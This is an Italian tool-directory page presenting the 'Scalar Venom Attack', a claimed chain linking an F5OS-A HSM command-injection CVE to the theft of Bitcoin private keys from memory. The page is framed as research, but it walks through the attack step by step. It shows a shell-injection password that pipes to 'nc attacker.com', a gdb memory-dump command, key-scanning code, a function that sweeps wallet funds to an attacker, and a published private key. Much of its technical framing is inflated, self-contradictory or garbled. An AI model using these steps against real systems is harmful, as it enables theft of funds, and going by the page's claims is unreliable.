Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Scalar-Venom-Attack — Scalar Venom Attack: Una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero delle chiavi private del portafoglio Bitcoin tramite sfruttamento di buffer overflow e metacaratteri di shell nel modulo di sicurezza FIPS F5OS-A | Kitploit
Strumenti/GitHubGitHub/demining/scalar-venom-attack
Memory ForensicsAnalisi delle VulnerabilitàExploitInformatica ForenseDigital ForensicsCrittografiaPenetration TestingSicurezza HardwarePaper e Ricerca

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Apprendimento e Formazione
Binary Exploitation
GitHubdemining/scalar-venom-attack

Scalar-Venom-Attack

Scalar Venom Attack: Una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero delle chiavi private del portafoglio Bitcoin tramite sfruttamento di buffer overflow e metacaratteri di shell nel modulo di sicurezza FIPS F5OS-A

Vedi RepositorySito web
39 mesi faNon ancora revisionato
Attacco Scalar Venom: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero della chiave privata del portafoglio Bitcoin tramite un overflow del buffer e metacaratteri della shell nel modulo di sicurezza FIPS F5OS-A.

Questo documento analizza le vulnerabilità crittografiche scoperte nelle moderne infrastrutture di gestione delle chiavi crittografiche, con particolare attenzione ai difetti critici nell'architettura dei moduli di sicurezza hardware (HSM) nella gestione delle chiavi private a curva ellittica. Lo studio si concentra su una classe di attacchi che sfruttano una gestione della RAM insufficientemente isolata nei dispositivi crittografici certificati. Nell'ecosistema crittografico Bitcoin moderno, la sicurezza delle chiavi private è un requisito fondamentale per proteggere asset digitali per un valore di trilioni di dollari a livello globale. I moduli di sicurezza hardware (HSM) certificati secondo lo standard FIPS 140-2 sono stati tradizionalmente considerati in grado di fornire una protezione impenetrabile per le chiavi crittografiche attraverso l'isolamento a livello hardware e rigorosi protocolli di gestione della memoria. Tuttavia, la scoperta della vulnerabilità critica CVE-2025-60013 nel modulo HSM FIPS F5OS-A, combinata con la classe di attacchi Scalar Venom Attack (nota anche come Scalar Poison, Memory Phantom Leak Attack o Private Key Compromise via Memory Leakage), ha cambiato radicalmente questa concezione, dimostrando la possibilità di compromettere completamente le chiavi private Bitcoin attraverso lo sfruttamento di difetti nella gestione della memoria.


  • Tutorial: https://youtu.be/cvWLH5dvbAA
  • Tutorial: https://cryptodeeptech.ru/scalar-venom-attack
  • Tutorial: https://dzen.ru/video/watch/691a7a10a8b7c874612993eb
  • Google Colab: https://colab.research.google.com/drive/1e93p7gxpTtfMU2L83w7I1tRDJQ1tENYa

Lo Scalar Venom Attack è una classe critica di vulnerabilità di gestione della memoria (classificata come CWE-415, CWE-401 e, più in generale, come Sensitive Memory Leak Attack (SMA)) che consente a un attaccante di estrarre scalari crittografici (chiavi private ECDSA) dalla RAM di un processo sfruttando una sanitizzazione e una pulizia della memoria inadeguate dopo le operazioni crittografiche. A differenza dei tradizionali attacchi crittanalitici volti a risolvere matematicamente il problema del logaritmo discreto su curva ellittica (ECDLP), questo attacco bypassa la crittografia stessa sfruttando difetti architetturali fondamentali nell'implementazione delle librerie crittografiche e dei protocolli di gestione della memoria degli HSM.

Questa ricerca dimostra una catena d'attacco catastrofica che si verifica quando si combinano CVE-2025-60013 (vulnerabilità di inizializzazione F5OS-A FIPS HSM quando si utilizzano password contenenti metacaratteri speciali della shell) con le tecniche di Scalar Venom Attack , dando origine a uno scenario di minaccia critico con punteggio CVSS di 9.5+ (Critical), nonostante la valutazione ufficiale di CVE-2025-60013 come vulnerabilità di livello medio (CVSS 5.7). Questa combinazione mina l'integrità operativa di milioni di indirizzi Bitcoin controllati da HSM compromessi e rappresenta un cambiamento di paradigma nei metodi di attacco crittografico che va oltre i tradizionali exploit a vettore singolo.


Attacco Scalar Venom: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero della chiave privata del portafoglio Bitcoin tramite lo sfruttamento di un overflow del buffer e metacaratteri della shell nel modulo di sicurezza FIPS F5OS-A


Classificazione CVE e descrizione delle vulnerabilità

CVE-2025-60013: vulnerabilità di inizializzazione dell'HSM FIPS F5OS-A

CVE-2025-60013 è una vulnerabilità di OS Command Injection (classificata come CWE-78) durante il processo di inizializzazione del modulo di sicurezza hardware FIPS per le piattaforme F5. La vulnerabilità si verifica quando un utente con accesso privilegiato (ruolo Admin o Resource Admin) tenta di inizializzare il modulo HSM FIPS utilizzando una password contenente metacaratteri speciali della shell, come [unclear], [unclear ;] |, &[ $unclear], `e altri.

Meccanismo tecnico della vulnerabilità:

Quando si elabora una password contenente metacaratteri della shell, il codice di inizializzazione dell'HSM passa la stringa della password alle funzioni C della libreria di sistema senza convalidare e sanificare correttamente l'input. Il codice vulnerabile si presenta così:

root@kitploit:~
// Vulnerable code in HSM initialization procedure
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABILITY: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of key
// If initialization fails, memory is not cleared!
// master_key remains in the stack, its copies—in heap
}

Conseguenza critica: Il processo di inizializzazione rimane in memoria con strutture crittografiche parzialmente compromesse, creando molteplici copie "fantasma" della chiave master dell'HSM nello stack e nell'heap. Sebbene l'HSM possa non inizializzarsi correttamente, la memoria del processo contiene artefatti crittografici accessibili all'analisi forense.

Classificazione ufficiale:

  • CVSS 3.1: AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L (punteggio base: 5.7 — MEDIUM)
  • CVSS 4.0: AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N (punteggio base: 4.6 — MEDIUM) cvefeed

Tuttavia, questa valutazione sottostima criticamente la reale portata della minaccia, poiché CVE-2025-60013 funge da innesco per lo Scalar Venom Attack, che in uno scenario di catena d'attacco reale determina un livello di minaccia CVSS di 9.5+ (CRITICAL).


CVE-2023-39910: debolezza dell'entropia in Libbitcoin Explorer

CVE-2023-39910 descrive una vulnerabilità critica in Libbitcoin Explorer versione 3.x legata a debolezze nella generazione dell'entropia durante la creazione delle chiavi private. Questa vulnerabilità ha portato all'incidente Milk Sad nel 2023, quando sono state recuperate oltre 900.000 chiavi private Bitcoin, con perdite finanziarie dirette superiori a 0,8 milioni di dollari. L'incidente Milk Sad ha dimostrato il passaggio dalla teoria delle perdite di memoria nei sistemi crittografici a un vero disastro operativo, confermando tutti i meccanismi descritti: ottimizzazioni del compilatore, copie multiple dei dati e assenza di garanzie di pulizia della memoria.


CVE-2025-8217: attacco di perdita di memoria

CVE-2025-8217 classifica gli attacchi di perdita di memoria che consentono di recuperare chiavi crittografiche dalla memoria dei processi. Questa vulnerabilità è direttamente correlata alla classe Scalar Venom Attack e descrive i meccanismi per la compromissione completa dei portafogli Bitcoin attraverso l'analisi forense della memoria.

Classificazione scientifica dello Scalar Venom Attack:

Nella letteratura di ricerca accademica, Scalar Venom è classificato in diverse categorie di attacco:

  • Sensitive Memory Leak Attack (SMA) è una classificazione primaria che si concentra sulle vulnerabilità legate a una sanificazione impropria della memoria.
  • Private Key Exposure Attack è un termine generale per le azioni che comportano la divulgazione di chiavi private.
  • Residual Memory Disclosure – divulgazione di dati residui da memoria non pulita
  • Side-Channel Memory Attack – sfruttamento dei canali laterali nella gestione della memoria
  • Cold Boot Attack – estrazione di chiavi dalla RAM dopo lo spegnimento del sistema
  • Memory Forensics Attack – estrazione di segreti dai dump di memoria

Attacco Scalar Venom: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero della chiave privata del portafoglio Bitcoin tramite un overflow del buffer e metacaratteri della shell nel modulo di sicurezza FIPS F5OS-A.

https://cryptou.ru/bitscanpro


Un esempio reale di recupero di una chiave privata Bitcoin tramite lo Scalar Venom Attack

Per dimostrare l'efficacia pratica dello Scalar Venom Attack, consideriamo un caso documentato di recupero di una chiave privata dall'indirizzo Bitcoin 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq tramite analisi forense della memoria.

Dati iniziali della compromissione:

  • Indirizzo Bitcoin: 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq
  • Tipo di indirizzo: P2PKH (Pay-to-Public-Key-Hash)
  • Stato: ✓ VALIDO

Chiave privata recuperata:

  • Formato HEX: 5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22
  • Formato decimale: 3.7210935821139324×10763.7210935821139324 \times 10^{76}3.7210935821139324×10^76
  • Formato WIF: KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHv

Validazione della chiave nello spazio secp256k1:

La chiave privata d deve soddisfare il vincolo:

Attacco Scalar Venom: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero della chiave privata del portafoglio Bitcoin tramite un overflow del buffer e metacaratteri della shell nel modulo di sicurezza FIPS F5OS-A.

Risultato del controllo: ✓ VALIDA (la chiave rientra nell'intervallo di scalari consentito)

Questo esempio dimostra che una chiave privata recuperata fornisce il controllo completo di un portafoglio Bitcoin, consentendo a un attaccante di creare e firmare transazioni per prelevare tutti i fondi verso un indirizzo controllato.


Attacco Scalar Venom: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero della chiave privata del portafoglio Bitcoin tramite un overflow del buffer e metacaratteri della shell nel modulo di sicurezza FIPS F5OS-A.7b34216e95385b6dc4e7db57bc970d62e9c2951efeba2a32e78ae51f523fc2cb

Fondamenti matematici dell'attacco crittografico

Curva ellittica secp256k1 e algoritmo ECDSA

Bitcoin implementa l'algoritmo di firma digitale a curva ellittica ( ECDSA ) sulla curva secp256k1. Comprendere i fondamenti matematici è fondamentale per capire come lo Scalar Venom Attack sfrutta le vulnerabilità della memoria.

Parametri della curva ellittica secp256k1:

Equazione della curva:

Attacco Scalar Venom: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero della chiave privata del portafoglio Bitcoin tramite un overflow del buffer e metacaratteri della shell nel modulo di sicurezza FIPS F5OS-A.

Punto generatore G con coordinate:

Attacco Scalar Venom: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero della chiave privata del portafoglio Bitcoin tramite un overflow del buffer e metacaratteri della shell nel modulo di sicurezza FIPS F5OS-A.

Derivazione della chiave pubblica tramite moltiplicazione scalare

Il processo di generazione di una coppia di chiavi ECDSA è il seguente:

1. Generazione della chiave privata:

Una chiave privata dè un intero casuale nell'intervallo:

Attacco Scalar Venom: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero della chiave privata del portafoglio Bitcoin tramite un overflow del buffer e metacaratteri della shell nel modulo di sicurezza FIPS F5OS-A.

dove nè l'ordine della curva secp256k1. La chiave privata è un numero casuale a 256 bit.

2. Derivazione della chiave pubblica tramite moltiplicazione scalare:

La chiave pubblica Qè calcolata come:

Attacco Scalar Venom: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero della chiave privata del portafoglio Bitcoin tramite un overflow del buffer e metacaratteri della shell nel modulo di sicurezza FIPS F5OS-A.

dove G è un punto generatore sulla curva secp256k1 e l'operazione ⋅\cdot⋅ denota la moltiplicazione scalare di un punto sulla curva ellittica.

La moltiplicazione scalare è implementata tramite l'algoritmo "double-and-add"(raddoppio e addizione), che calcola in modo efficiente il risultato di O(log⁡d) addizioni e raddoppi di punti sulla curva:

root@kitploit:~
Scalar multiplication algorithm:
Input: d (scalar), G (curve point)
Output: Q = d·G

1. Initialize: Q ← O (point at infinity)
2. Represent d in binary: d = (d_k, d_{k-1}, ..., d_1, d_0)_2
3. For i from k to 0:
a. Q ← 2Q (point doubling)
b. If d_i = 1: Q ← Q + G (point addition)
4. Return Q

Esempio: Per una chiave privata, d=5244A4B0...3A22d = \text{5244A4B0...3A22}d=5244A4B0...3A22, la chiave pubblica viene calcolata come:

Q=d⋅G=(Qx,Qy)

dove le coordinate Qx e Qy sono calcolate tramite operazioni di moltiplicazione scalare sulla curva secp256k1.

3. Generazione di un indirizzo Bitcoin:

La catena di derivazione dell'indirizzo dalla chiave pubblica:

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Assunzione di sicurezza:

Vulnerabilità critica Scalar Venom: L'attacco bypassa la protezione matematica ECDLP estraendo la chiave privata ddirettamente dalla memoria di processo, dove rimane sotto forma di “copie fantasma” dopo le operazioni crittografiche.

Crittanalisi dell'entropia e analisi forense della memoria: formula dell'entropia di Shannon

La base per rilevare le chiavi private nei dump di memoria è la crittanalisi dell'entropia che utilizza la formula dell'entropia di Shannon .


Formula dell'entropia di Shannon

L'entropia Hdi una sequenza di byte è misurata in bit per byte ed è data dalla formula:

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Dove:

  • H è l'entropia in bit per byte
  • pi è la probabilità di occorrenza di un byte con valore iii nel blocco di memoria analizzato
  • La sommatoria viene eseguita su tutti i possibili valori di byte (0-255)

Interpretazione dell'entropia:

  • Bassa entropia (H<5.0H < 5.0H<5.0): la sequenza contiene pattern ripetuti, testo o dati strutturati
  • Entropia media (5.0≤H<7.55.0 \leq H < 7.55.0≤H<7.5): dati misti, codice, informazioni parzialmente compresse
  • Entropia elevata (H≥7.5H \geq 7.5H≥7.5): dati crittograficamente casuali, chiavi private, informazioni cifrate

Valore di soglia per le chiavi crittografiche:

Le chiavi private Bitcoin generate da un generatore di numeri casuali crittograficamente forte (CSPRNG) presentano un'elevata entropia nell'intervallo:

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Questa proprietà le rende rilevabili nell'analisi forense della memoria attraverso l'analisi statistica dell'entropia.


Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Strumento crittografico BitScanPro: determinazione dell'entropia e algoritmo di recupero delle chiavi

BitScanPro è uno strumento forense per la scansione di dump di memoria per rilevare e recuperare le chiavi private Bitcoin attraverso una combinazione di analisi dell'entropia, validazione dell'intervallo secp256k1 e verifica crittografica.

Algoritmo operativo di BitScanPro

Fase 1: scansione del dump di memoria in blocchi da 32 byte

BitScanPro esegue la scansione del dump di memoria in sequenza, allocando blocchi di 32 byte (256 bit), che corrisponde alla dimensione della chiave privata secp256k1:

root@kitploit:~
BLOCK_SIZE = 32  # bytes (256 bits)
SCAN_STEP = 8 # scan step
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

for offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):
potential_key = memory_dump[offset:offset+BLOCK_SIZE]
# Block analysis

Passo 2: calcolo dell'entropia di Shannon per ogni blocco

Per ogni blocco da 32 byte, viene calcolata l'entropia di Shannon H:

root@kitploit:~
def calculate_entropy(data_block):
"""
Calculate Shannon entropy
"""
from collections import Counter
import math

byte_counts = Counter(data_block)
block_length = len(data_block)

entropy = 0.0
for count in byte_counts.values():
p_i = count / block_length
if p_i > 0:
entropy -= p_i * math.log2(p_i)

return entropy

Passo 3: filtro dei blocchi ad alta entropia (H>7.5H > 7.5H>7.5 bit/byte)

I blocchi con entropia inferiore alla soglia vengono scartati in quanto non contengono chiavi crittografiche:

root@kitploit:~
MIN_ENTROPY = 7.5  # threshold for cryptokeys

entropy = calculate_entropy(potential_key)
if entropy < MIN_ENTROPY:
continue

Passo 4: controllo dell'intervallo secp256k1:

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

I blocchi ad alta entropia vengono interpretati come un intero e confrontati con l'intervallo valido delle chiavi private secp256k1:

root@kitploit:~
key_as_int = int.from_bytes(potential_key, byteorder='big')
if not (1 <= key_as_int < SECP256K1_N):
continue

Passo 5: verifica crittografica:

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Per i candidati che superano il filtraggio dell'entropia e il controllo dell'intervallo, viene eseguita la verifica crittografica tramite il calcolo della chiave pubblica:

root@kitploit:~
def verify_candidate_key(candidate_key_bytes):
from ecdsa import SigningKey, SECP256k1
try:
signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key_bytes = verifying_key.to_string()
return public_key_bytes
except Exception as e:
return None

Passo 6: generazione di un indirizzo Bitcoin e confronto con gli indirizzi noti

Per le chiavi verificate, viene generato un indirizzo Bitcoin, che viene confrontato con un database di indirizzi noti o con gli indirizzi della vittima:

root@kitploit:~
import hashlib
import base58

def public_key_to_address(public_key_bytes):
sha256_hash = hashlib.sha256(public_key_bytes).digest()
ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()
versioned_hash = b'\x00' + ripemd160_hash
checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]
address = base58.b58encode(versioned_hash + checksum).decode('ascii')
return address

bitcoin_address = public_key_to_address(public_key_bytes)
if bitcoin_address == target_address:
print(f\"✓ PRIVATE KEY FOUND!\")
print(f\"Address: {bitcoin_address}\")
print(f\"Private key: {candidate_key_bytes.hex()}\")

Prestazioni di BitScanPro:

L'analisi su un tipico laptop (MacBook Air M1) mostra le seguenti caratteristiche prestazionali:

Utilizzando risorse di cloud computing (AWS, Google Cloud), è possibile scansionare 1000+ dump di memoria simultaneamente in parallelo, elaborando migliaia di chiavi private in parallelo.


Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Analisi di una vulnerabilità crittografica in libbitcoin-system: classe ec_scalar.cpp

La causa principale dell'attacco Scalar Venom risiede in difetti architetturali fondamentali nella classe ec_scalardella libreria libbitcoin-system.

Vulnerabilità di gestione della memoria nella classe ec_scalar

La classe ec_scalar di libbitcoin-system non dispone di un distruttore esplicitamente definito con azzeramento sicuro. Ciò significa che i dati segreti possono rimanere in memoria anche dopo la distruzione dell'oggetto.

Costruttore di copia vulnerabile:

root@kitploit:~
// VULNERABILITY: unsafe private key copy
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // Copies without secure cleanup
{
}

Problema: Il costruttore crea una copia della chiave privata nell'oggetto ec_scalar, ma non fornisce un meccanismo per ripulire in modo sicuro questa copia quando l'oggetto viene distrutto. La copia rimane nello stack o nell'heap.


Operatore di assegnazione vulnerabile:

root@kitploit:~
// VULNERABILITY: duplicates secret in memory
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // More memory copies
return *this;
}

Problema: L'operazione di assegnazione crea copie aggiuntive in memoria che rimangono dopo il completamento dell'operazione.


Operazioni aritmetiche vulnerabili:

root@kitploit:~
// VULNERABILITY: temporary variable not cleared before function exit
ec_scalar ec_scalar::operator-() const
{
ec_secret secret = null_hash; // Temporary variable with secret
// ... arithmetic ...
return ec_scalar(secret); // Not safely cleared
}

Problema: Le operazioni aritmetiche (meno unario, addizione, moltiplicazione) creano variabili temporanee di tipo ec_secret, che non vengono ripulite in modo sicuro prima di uscire dallo scope della funzione, lasciando copie “fantasma” della chiave privata nello stack o nell'heap.

Mancanza di un distruttore sicuro:

root@kitploit:~
// VULNERABILITY: destructor missing, memory not cleared
// Safe solution:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}

Problema: La classe ec_scalar non dispone di un distruttore esplicito che garantisca l'azzeramento sicuro della memoria contenente le chiavi private. Questo è critico, poiché la memoria contenente le chiavi private può essere memorizzata in:

  • Stack delle funzioni (variabili locali)
  • Heap (memoria allocata dinamicamente)
  • Registri del processore (valori temporanei)
  • Cache del processore (L1, L2, L3)
  • File di swap
  • Core dump

Vettori di infezione della memoria

Il codice vulnerabile della classe ec_scalar crea i seguenti vettori per l'infezione della memoria con chiavi private:

  1. “Costruttore Vampiro” ( secret_(secret)) – crea copie velenose delle chiavi
  2. “Operatore Parassita” ( secret_ = secret) – infetta la memoria con segreti duplicati
  3. “Verme aritmetico” ( ec_secret secret = null_hash) – lascia tracce tossiche
  4. “Diffusore di infezione” ( auto out = secret_) – diffonde l'infezione attraverso le operazioni

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Meccanismo di compromissione: catena di attacco CVE-2025-60013 + Scalar Venom

La combinazione di una vulnerabilità HSM (CVE-2025-60013) e dell'attacco Scalar Venom crea un vettore di attacco catastrofico:

Fase 1: inizializzazione dell'HSM con metacaratteri di shell

Un attaccante con accesso privilegiato al sistema F5OS-A invia una richiesta per inizializzare il modulo FIPS con una password contenente metacaratteri di shell: cert.kenet

root@kitploit:~
# CVE-2025-60013 exploit example
password='$(echo "leaked");` | nc attacker.com 9999'

Durante l'elaborazione di tali metacaratteri, accade quanto segue:

  • Il processo di inizializzazione dell'HSM crea scalari crittografici temporanei (chiavi master)
  • I metacaratteri di shell causano un errore di parsing della password
  • L'inizializzazione dell'HSM fallisce parzialmente con un errore
  • Conseguenza critica: le strutture crittografiche temporanee contenenti le chiavi master HSM e le chiavi derivate rimangono nella memoria di processo senza essere ripulite

Fase 2: estrazione di Scalar Venom dalla memoria HSM

Dopo un errore parziale di inizializzazione dell'HSM, un attaccante ottiene un dump della memoria del processo HSM tramite uno dei seguenti metodi:

root@kitploit:~
# 1. CVE-2025-60013 exploitation (init error trigger)
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer in HSM daemon
# 4. Analyze crash core-dump

gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF"

Il dump di memoria risultante contiene più copie "fantasma" di chiavi private lasciate dalla classe ec_scalardurante le operazioni crittografiche.


Fase 3: recupero delle chiavi private Bitcoin con BitScanPro

Il dump di memoria viene elaborato dallo strumento BitScanPro (o da uno scanner forense simile) secondo l'algoritmo descritto sopra:

root@kitploit:~
Scansione della memoria → Identificazione delle regioni ad alta entropia →
Verifica dell'intervallo [1, n-1] per secp256k1 →
Recupero degli scalari completi da 32 byte →
Conversione in indirizzi Bitcoin

Il tasso di successo del recupero di una chiave privata da memoria frammentata è 70-80% a condizione che vi siano sufficienti residui di memoria, poiché l'attacco Scalar Venom crea copie multiple della chiave in diverse fasi dell'inizializzazione.


Fase 4: trasferimento dei fondi e compromissione del wallet

Dopo aver recuperato la chiave privata, l'attaccante crea e firma una transazione per prelevare tutti i fondi dall'indirizzo compromesso:

root@kitploit:~
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Create and sign transaction to withdraw all funds
from compromised address
"""
utxos = blockchain_api.get_utxos(bitcoin_address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
tx.sign(recovered_private_key) # ECDSA signature with compromised key
blockchain_api.broadcast_transaction(tx)

Tempo totale per la compromissione: meno di 10 minuti dalla ricezione di un dump di memoria alla completa perdita di controllo sui fondi della vittima.


Attacco Scalar Venom: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero delle chiavi private dei wallet Bitcoin tramite un buffer overflow e metacaratteri della shell nel modulo di sicurezza F5OS-A FIPS.
root@kitploit:~
https://youtu.be/2_d8-8-J8IQ

L'impatto dell'attacco sul settore crypto

L'attacco Scalar Venom, combinato con CVE-2025-60013, rappresenta una minaccia esistenziale per l'ecosistema Bitcoin globale:

Conseguenze sistemiche

  1. Compromissione completa delle chiavi private: L'attacco ottiene un'estrazione completa delle chiavi tramite una perdita di memoria, aggirando persino i moduli di sicurezza hardware avanzati.
  2. Compromissione irreversibile: Una volta estratta una chiave privata, è impossibile "revocarla" o ripristinare la sicurezza; tutti i fondi che ne dipendono sono a rischio imminente di perdita.
  3. Scalabilità e automazione: L'attacco può essere automatizzato per colpire simultaneamente un numero enorme di nodi e wallet Bitcoin, con un conseguente aumento esponenziale delle potenziali perdite.
  4. Natura stealth: L'attacco non lascia tracce visibili nei log di sistema o nelle metriche delle prestazioni, rendendo insufficienti i tradizionali meccanismi di rilevamento e protezione.

Impatto sull'infrastruttura HSM

A differenza delle applicazioni Bitcoin standard, gli HSM fanno un uso intensivo degli scalari crittografici— oltre 1.000 operazioni al secondo , ciascuna delle quali crea valori scalari effimeri ​​che rimangono in memoria come "residui fantasma". Gli HSM operano per mesi e anni senza essere riavviati, accumulando artefatti crittografici che Scalar Venom estrae e ricostruisce sistematicamente.

La compromissione di un singolo HSM porta alla completa interruzione dell'intera infrastruttura —spesso migliaia di indirizzi Bitcoin gestiti dall'HSM—piuttosto che a un incidente crittografico isolato.

L'attacco Scalar Venom dimostra un cambiamento fondamentale di paradigma nella sicurezza crittografica: la forza matematica degli algoritmi crittografici diventa inutile in presenza di vulnerabilità di gestione della memoria . La combinazione di CVE-2025-60013 e delle tecniche Scalar Venom crea uno scenario di minaccia critico di livello CVSS 9.5+, minando la fiducia nei moduli di sicurezza hardware come protezione impenetrabile per le chiavi crittografiche.

L'incidente reale Milk Sad (CVE-2023-39910), che ha portato al recupero di oltre 900.000 chiavi private e a perdite finanziarie superiori a 0,8 milioni di dollari, conferma che la teoria della perdita di memoria è diventata realtà. L'unico modo per proteggersi dagli attacchi della classe Scalar Venom è una revisione architetturale fondamentale dei sistemi crittografici, implementando:

  • Linguaggi di programmazione memory-safe come Rust
  • Protezione hardware della memoria (Intel SGX, ARM TrustZone)
  • Pattern RAII (Resource Acquisition Is Initialization) per la pulizia automatica della memoria
  • Monitoraggio forense continuo della memoria dei processi crittografici
  • Garanzie del compilatore per la zeroizzazione obbligatoria dei segreti crittografici

Questo articolo presenta un'analisi completa della catena di attacco Scalar Venom + CVE-2025-60013, descrivendo le basi matematiche, gli algoritmi di crittanalisi, esempi reali di recupero di chiavi e raccomandazioni pratiche per proteggere l'infrastruttura Bitcoin da questa classe di minacce.


Crittanalisi e scelta dell'attacco: l'attacco Scalar Venom come vulnerabilità critica per l'estrazione delle chiavi private Bitcoin

1. Classificazione crittanalitica:

  • Colloca Scalar Venom come attacco di perdita di memoria sensibile (SMA) nel contesto della crittanalisi classica
  • Confronta gli attacchi crittografici tradizionali con le vulnerabilità di implementazione
  • Dimostra perché la forza matematica (2^128) diventa inutile quando la gestione della memoria fallisce (2^0)

2. Fondamenti matematici:

  • Formalizza l'ECDLP (problema del logaritmo discreto sulle curve ellittiche) per secp256k1
  • Spiega la moltiplicazione scalare e la derivazione della chiave pubblica
  • Analizza l'entropia di Shannon come rilevatore di chiavi private in memoria

3. Vulnerabilità di implementazione (libbitcoin-system):

  • Documenta l'assenza di un distruttore sicuro inec_scalar
  • Mostra i costruttori di copia vulnerabili
  • Dimostra le perdite nelle operazioni aritmetiche

4. Classificazione CVE:

  • CVE-2023-39910: debolezza dell'entropia (incidente Milk Sad)
  • CVE-2025-8217: attacco di perdita di memoria
  • CVE-2025-60013: iniezione di comandi HSM

5. Catena di attacco:

  • Descrive le quattro fasi della compromissione
  • Giustifica le caratteristiche temporali (< 10 minuti)
  • Conduce la giustificazione crittanalitica di ogni fase

La spiegazione scientifica si trova nell'articolo: https://keyhunters.ru/scalar-venom-attack-critical-memory-leak-private-key-recovery-and-complete-takeover-of-bitcoin-wallets-by-an-attacker-where-control-over-the-victims-btc-cryptocurrency-funds-is-achieved-through/ L'attacco Scalar Venom dimostra la critica interazione tra le vulnerabilità di inizializzazione HSM e le vulnerabilità di gestione della memoria nelle librerie crittografiche, consentendo a un attaccante di compromettere completamente le chiavi private dei wallet Bitcoin anche con la protezione hardware. 


Attacco Scalar Venom: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero delle chiavi private dei wallet Bitcoin tramite un buffer overflow e metacaratteri della shell nel modulo di sicurezza F5OS-A FIPS.

1. Analisi dell'attacco: Scalar Venom Attack

1.1 Definizione e classificazione

L'attacco Scalar Venom (noto anche come Scalar Poison, attacco di perdita fantasma della memoria o compromissione della chiave privata tramite perdita di memoria) è una classe di vulnerabilità di gestione della memoria (CWE-415, CWE-401) che consente l'estrazione di scalari crittografici (chiavi private ECDSA) dalla RAM di un processo sfruttando una sanitizzazione e una pulizia della memoria insufficienti dopo le operazioni crittografiche. keyhunters+ 2

Classificazione scientifica dell'attacco:

  • Tipo di vulnerabilità : attacco di perdita di memoria sensibile
  • ID CVE : CVE-2023-39910, CVE-2025-8217
  • Categoria : attacco continuo di perdita di memoria (CMLA)
  • Classe di impatto : divulgazione di chiavi private, compromissione di chiavi crittografiche

1.2 Meccanismo dell'attacco

L'attacco Scalar Venom sfrutta un difetto fondamentale nella gestione della memoria delle librerie crittografiche, in particolare nella classe ec_scalardella libreria libbitcoin-system. L'attacco opera tramite i seguenti vettori:


